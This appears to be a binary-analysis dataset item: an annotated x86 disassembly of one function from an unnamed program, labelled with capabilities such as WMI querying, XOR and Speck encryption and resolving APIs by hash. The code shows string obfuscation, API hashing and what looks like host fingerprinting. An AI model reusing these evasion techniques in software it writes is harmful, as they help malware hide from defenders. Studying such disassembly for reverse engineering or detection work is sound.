Function at 0x10b8bc0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Encrypt data using speck
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov edi, dword [ebp + 8]
mov eax, dword [0x10ccdc0]
mov dword [esp + 8], 0x519b4f6b
mov dword [esp + 0xc], 0x55a753ab
mov dword [esp + 0x10], 0x59b157a0
mov dword [esp + 0x14], 0x5d9e5bb7
mov dword [esp + 0x18], 0x61b55fae
mov dword [esp + 0x1c], 0x65856396
mov dword [esp + 0x20], 0x69666743
mov byte [esp + 0x24], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x8d
xor dl, byte [esp + ecx + 8]
add dl, 0x3f
mov byte [esp + ecx + 8], dl
inc ecx
cmp ecx, 0x1d
jne 0x10b8c20
lea ecx, [esp + 0x58]
lea esi, [esp + 0x8c]
lea ebx, [esp + 8]
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x10b8c5f
mov dword [esp + 0x8c], 0x3a0043
mov dword [esp + 0x90], 0x5c
mov dword [esp + 0x64], 0x68ea34df
mov dword [esp + 0x60], 0x7cf6f183
mov dword [esp + 0x5c], 0x2d476941
mov dword [esp + 0x58], 0x9e59605b
mov dword [esp + 0x44], 0
lea eax, [esp + 0x44]
push eax
push 0x10c3668
push 1
push 0
push 0x10c3678
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10b922a
mov dword [esp + 8], 0x13c511c2
mov dword [esp + 0xc], 0xef42ed3b
mov dword [esp + 0x10], 0xeb29e94c
mov dword [esp + 0x14], 0xe733e53d
mov dword [esp + 0x18], 0xe310e14e
mov word [esp + 0x1c], 0xfdfc
mov dword [esp + 0x1e], 0
xor eax, eax
nop
nop
nop
nop
movzx edx, byte [esp + eax + 8]
mov ecx, eax
and ecx, 0xb
xor ecx, 0x51e8f76b
mov esi, eax
and esi, 0x14
sub ecx, esi
add ecx, 0x162f3d18
mov esi, edx
xor esi, 0x9b
mov ebx, ecx
xor ebx, 0x64
or ebx, esi
xor edx, 0x64
xor ecx, 0x9b
or ecx, edx
and ecx, ebx
add cl, 0x94
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x1a
jne 0x10b8cf0
lea ebx, [esp + 8]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x44]
mov ecx, dword [esi]
lea edx, [esp + 0x40]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x90], eax
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
lea esi, [esp + 0x8c]
js 0x10b9216
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x5c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x10b920c
mov dword [esp + 8], 0x7303711f
mov dword [esp + 0xc], 0x6f6e6d18
mov byte [esp + 0x10], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 8]
lea edx, [eax + 0x490704ec]
and edx, ecx
mov ebx, edx
or ebx, 0xfd
inc ebx
mov esi, edx
and esi, 0xfffffffd
imul esi, ebx
mov ebx, edx
and ebx, 2
or edx, 2
imul edx, ebx
sub esi, edx
add ecx, eax
add ecx, 0x490704ec
add ecx, esi
add cl, 0x64
mov byte [esp + eax + 8], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 9
jb 0x10b8db0
lea ebx, [esp + 8]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x48], eax
mov dword [esp + 8], 0xcf0bc97f
mov dword [esp + 0xc], 0xc307cd70
mov dword [esp + 0x10], 0xc772c107
mov dword [esp + 0x14], 0xbb64c524
mov dword [esp + 0x18], 0xbf04b958
mov dword [esp + 0x1c], 0xb301bd0a
mov dword [esp + 0x20], 0xb756b10d
mov dword [esp + 0x24], 0xab33b51f
mov dword [esp + 0x28], 0xaf79a93a
mov dword [esp + 0x2c], 0xa301ad7a
mov dword [esp + 0x30], 0xa71fa166
mov dword [esp + 0x34], 0x9b2da517
mov dword [esp + 0x38], 0x9998
mov byte [esp + 0x3c], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x32
xor cl, byte [esp + eax + 8]
add cl, 6
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x35
jne 0x10b8e80
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x40]
mov ecx, dword [esi]
lea edx, [esp + 0x54]
push edx
push 0
push 0x30
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0x58]
push esi
call dword [ecx + 0x50]
test eax, eax
js 0x10b91f3
mov dword [esp + 0x4c], 0
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
lea edx, [esp + 0x4c]
lea esi, [esp + 0x50]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x10b91e9
cmp eax, 1
je 0x10b91e9
cmp dword [esp + 0x4c], 0
je 0x10b91e9
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x50]
mov dword [esp], eax
mov dword [esp + 8], 0x13ff11e3
mov dword [esp + 0xc], 0x1ff71d8e
mov dword [esp + 0x10], 0x1b8e19f9
mov dword [esp + 0x14], 0x79b05f2
mov dword [esp + 0x18], 0x3e00195
mov dword [esp + 0x1c], 0xf9c0de1
mov word [esp + 0x20], 0x908
mov dword [esp + 0x22], 0
mov byte [esp + 0x26], 0
mov ecx, 0xb4307bc4
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x4bcf8444]
xor edx, ecx
mov esi, edx
and esi, 0x29
mov eax, edx
and eax, 2
mov ebx, eax
xor ebx, 2
imul ebx, esi
or esi, 2
imul esi, eax
xor edx, 0x2b
add edx, ebx
add edx, esi
inc dl
mov byte [esp + ecx + 0x4bcf8444], dl
inc ecx
cmp ecx, 0xb4307be3
jne 0x10b8f60
mov ecx, dword [esp]
mov eax, dword [ecx]
push 0
push 0
lea esi, [esp + 0x80]
push esi
push 0
lea ebx, [esp + 0x18]
push ebx
push ecx
call dword [eax + 0x10]
test eax, eax
js 0x10b91d8
cmp word [esp + 0x78], 8
jne 0x10b91d8
mov eax, dword [esp + 0x80]
movzx ebx, word [eax]
test bx, bx
mov dword [esp], eax
je 0x10b901d
add eax, 2
xor esi, esi
mov ecx, ebx
jmp 0x10b8ffc
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x10b901f
cmp cx, 0x7f
jbe 0x10b8ff0
movzx edx, cx
cmp edx, 0x7ff
ja 0x10b9012
add esi, 2
jmp 0x10b8ff1
cmp cx, 0xffff
je 0x10b8ff1
add esi, 3
jmp 0x10b8ff1
xor esi, esi
mov eax, esi
xor eax, 1
mov dword [esp + 0x6c], esi
mov ecx, esi
and ecx, 1
lea eax, [eax + ecx*2]
mov dword [esp + 0x68], eax
push eax
call fcn.01088730
add esp, 4
mov esi, eax
mov dword [esp + 4], eax
test bx, bx
mov ecx, dword [esp]
je 0x10b9184
mov edx, dword [esp + 0x68]
mov eax, edx
not eax
lea eax, [eax + edx*2]
mov esi, dword [esp + 4]
test eax, eax
je 0x10b9184
mov esi, dword [esp + 4]
nop
nop
nop
nop
nop
nop
movzx ebx, bx
lea edx, [ecx + 2]
cmp bx, 0x7f
ja 0x10b9090
lea ecx, [esi + 1]
mov byte [esi], bl
jmp 0x10b9130
cmp ebx, 0x7ff
ja 0x10b90b5
cmp eax, 2
jb 0x10b90b5
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [esi], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 2]
mov byte [esi + 1], bl
jmp 0x10b9130
mov dword [esp], ecx
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x10b914a
cmp eax, 4
jb 0x10b914a
mov ecx, dword [esp]
movzx edx, word [ecx + 2]
add ecx, 4
mov dword [esp], ecx
shl ebx, 0xa
lea ecx, [ebx + edx]
add ecx, 0xfca02400
mov ebx, ecx
shr ebx, 0x12
add bl, 0xf0
mov byte [esi], bl
mov ebx, ecx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [esi + 1], bl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 2], cl
mov ebx, 0x3f
sub ebx, edx
not ebx
or ebx, edx
and bl, 0x3f
or bl, 0x80
lea ecx, [esi + 4]
mov byte [esi + 3], bl
mov edx, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
add eax, esi
sub eax, ecx
mov esi, ecx
mov ecx, edx
movzx ebx, word [edx]
test bx, bx
je 0x10b9184
test eax, eax
jne 0x10b9070
jmp 0x10b9184
movzx ecx, cx
cmp ecx, 0xdc00
je 0x10b9136
cmp eax, 3
jb 0x10b9180
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [esi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [esi + 1], cl
lea ecx, [esi + 3]
and bl, 0x3f
or bl, 0x80
mov byte [esi + 2], bl
jmp 0x10b9130
mov ecx, esi
jmp 0x10b9130
mov byte [esi], 0
mov eax, 3
mov ecx, dword [esp + 0x6c]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x10b919c
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
lea ebx, [esp + 8]
lea esi, [esp + 0x78]
jb 0x10b91b3
mov eax, 3
lea eax, [eax*4 + 4]
push eax
push dword [esp + 8]
lea eax, [esp + 0x60]
push eax
call fcn.01088760
add esp, 0xc
push dword [esp + 4]
call fcn.01088740
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x48]
call esi
push dword [esp + 0x70]
call esi
lea esi, [esp + 0x8c]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x74]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xbeb8f1a1
push dword [0x10ccdb8]
call fcn.010bfaf0
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
test eax, eax
je 0x10b9259
mov eax, dword [esp + 8]
mov dword [esp + 0x58], eax
xor esi, esi
jmp 0x10b926d
add edi, 8
inc esi
cmp esi, 4
je 0x10b92f3
mov eax, 0
test esi, esi
je 0x10b9280
cmp dword [esp + esi*4 + 0x58], 1
mov eax, esi
sbb eax, 0
mov eax, dword [esp + eax*4 + 0x58]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
mov ecx, eax
and ecx, 0xebde8a13
xor eax, 0xebde8a13
lea eax, [eax + ecx*2]
mov dword [esp + esi*4 + 0x58], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0109f810
add esp, 0x10
nop
nop
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne 0x10b92d0
test ebx, ebx
je 0x10b9260
add eax, ebx
neg ebx
push ebx
push 0x30
push eax
call fcn.010887b0
add esp, 0xc
jmp 0x10b9260
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret